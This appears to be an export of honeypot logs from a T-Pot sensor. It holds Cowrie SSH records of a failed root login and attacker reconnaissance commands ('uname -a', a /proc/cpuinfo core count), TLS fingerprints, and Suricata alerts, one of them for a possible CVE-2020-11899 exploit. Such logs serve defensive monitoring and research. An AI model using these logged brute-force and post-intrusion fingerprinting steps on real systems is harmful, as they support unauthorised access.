31897	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:04.782954+03	2021-09-20 15:00:02.764716+03	{"_id": "7wYIA3wBvYTbRNuE30ZX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35684, "dest_port": 443, "timestamp": "2021-09-20T11:48:04.782954", "@timestamp": "2021-09-20T11:48:04.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31944	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:48:22.12731+03	2021-09-20 15:00:02.826716+03	{"_id": "MAYJA3wBvYTbRNuEI0cd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/123455] failed", "session": "3e846f2ca41e", "@version": "1", "password": "123455", "username": "root", "timestamp": "2021-09-20T11:48:22.127310Z", "@timestamp": "2021-09-20T11:48:22.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31898	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:48:04.366913+03	2021-09-20 15:00:02.765717+03	{"_id": "7AYIA3wBvYTbRNuE3kZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1428, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3390, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 398963621794973, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54324, "timestamp": "2021-09-20T11:48:04.366913Z", "@timestamp": "2021-09-20T11:48:04.366Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31899	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:48:04.458494+03	2021-09-20 15:00:02.766717+03	{"_id": "7gYIA3wBvYTbRNuE30ZX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35682, "timestamp": "2021-09-20T11:48:04.458494", "@timestamp": "2021-09-20T11:48:04.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31900	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.944366+03	2021-09-20 15:00:02.768717+03	{"_id": "wwYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.944366Z", "@timestamp": "2021-09-20T11:47:57.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31901	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.462949+03	2021-09-20 15:00:02.769717+03	{"_id": "xQYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.462949Z", "@timestamp": "2021-09-20T11:47:58.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31902	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.540677+03	2021-09-20 15:00:02.770717+03	{"_id": "yQYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "163.172.167.225", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07837057113647461, "duplicate": true, "timestamp": "2021-09-20T11:47:58.540677Z", "@timestamp": "2021-09-20T11:47:58.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31903	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.202477+03	2021-09-20 15:00:02.772716+03	{"_id": "zAYIA3wBvYTbRNuExUZP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.202477Z", "@timestamp": "2021-09-20T11:47:58.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31904	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:59.036556+03	2021-09-20 15:00:02.773717+03	{"_id": "0QYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "163.172.167.225", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08116340637207031, "duplicate": true, "timestamp": "2021-09-20T11:47:59.036556Z", "@timestamp": "2021-09-20T11:47:59.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31905	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:59.201761+03	2021-09-20 15:00:02.774716+03	{"_id": "1AYIA3wBvYTbRNuEyUY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "163.172.167.225", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.040766000747680664, "duplicate": true, "timestamp": "2021-09-20T11:47:59.201761Z", "@timestamp": "2021-09-20T11:47:59.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31906	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:11.729666+03	2021-09-20 15:00:02.776718+03	{"_id": "AgYIA3wBvYTbRNuE-Ecf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:34996 (192.168.176.2:22) [session: 788fab6685a6]", "session": "788fab6685a6", "@version": "1", "protocol": "ssh", "src_port": 34996, "dest_port": 22, "timestamp": "2021-09-20T11:48:11.729666Z", "@timestamp": "2021-09-20T11:48:11.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31907	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.023992+03	2021-09-20 15:00:02.777717+03	{"_id": "yAYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "163.172.167.225", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08025836944580078, "duplicate": true, "timestamp": "2021-09-20T11:47:58.023992Z", "@timestamp": "2021-09-20T11:47:58.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31908	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.20193+03	2021-09-20 15:00:02.778717+03	{"_id": "ywYIA3wBvYTbRNuExUZP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.201930Z", "@timestamp": "2021-09-20T11:47:58.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31909	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.698549+03	2021-09-20 15:00:02.780716+03	{"_id": "ygYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.698549Z", "@timestamp": "2021-09-20T11:47:58.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31911	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.775155+03	2021-09-20 15:00:02.782716+03	{"_id": "zgYIA3wBvYTbRNuExUZP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "163.172.167.225", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07670474052429199, "duplicate": true, "timestamp": "2021-09-20T11:47:58.775155Z", "@timestamp": "2021-09-20T11:47:58.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31912	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.280042+03	2021-09-20 15:00:02.784717+03	{"_id": "xgYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "163.172.167.225", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.0782163143157959, "duplicate": true, "timestamp": "2021-09-20T11:47:58.280042Z", "@timestamp": "2021-09-20T11:47:58.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31913	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.462405+03	2021-09-20 15:00:02.785717+03	{"_id": "xwYIA3wBvYTbRNuExUZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.462405Z", "@timestamp": "2021-09-20T11:47:58.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31914	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:58.956044+03	2021-09-20 15:00:02.787717+03	{"_id": "0AYIA3wBvYTbRNuEyUY4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:58.956044Z", "@timestamp": "2021-09-20T11:47:58.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31915	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:48:22.475989+03	2021-09-20 15:00:02.788716+03	{"_id": "MgYJA3wBvYTbRNuEJEes", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:22.464046+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 460}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557401568430, "payload": "AAAACAMAAAD/AgAAAAAAAAAAAAAAAAACAwAAAP8FAAAAAAAAAAAAAAAAAAIDAAAA/wIAAAAAAAAAAAAAAAAAAgMAAAD/BQAAAAAAAAAAAAAAAAACAwAAAP8CAAAAAAAAAAAAAf8AAAAEAAAA/wIAAAAAAAAAAAAB/85iZwQAAAD/BQAAAAAAAAAAAAAAAAACBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:22.475989Z", "@timestamp": "2021-09-20T11:48:22.475Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................................................................................................bg................................"}}	1	\N	\N	alert	\N	\N
31938	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:48:21.512099+03	2021-09-20 15:00:02.818717+03	{"_id": "JwYJA3wBvYTbRNuEH0c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:52738 (192.168.176.2:22) [session: 2aca991029e3]", "session": "2aca991029e3", "@version": "1", "protocol": "ssh", "src_port": 52738, "dest_port": 22, "timestamp": "2021-09-20T11:48:21.512099Z", "@timestamp": "2021-09-20T11:48:21.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31916	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:23.498034+03	2021-09-20 15:00:02.789717+03	{"_id": "PQYJA3wBvYTbRNuEKEeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498034+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149448685938, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:23.498034Z", "@timestamp": "2021-09-20T11:48:23.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
31917	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:23.972155+03	2021-09-20 15:00:02.790717+03	{"_id": "PgYJA3wBvYTbRNuEKEeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498034+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149448685938, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:23.972155Z", "@timestamp": "2021-09-20T11:48:23.972Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
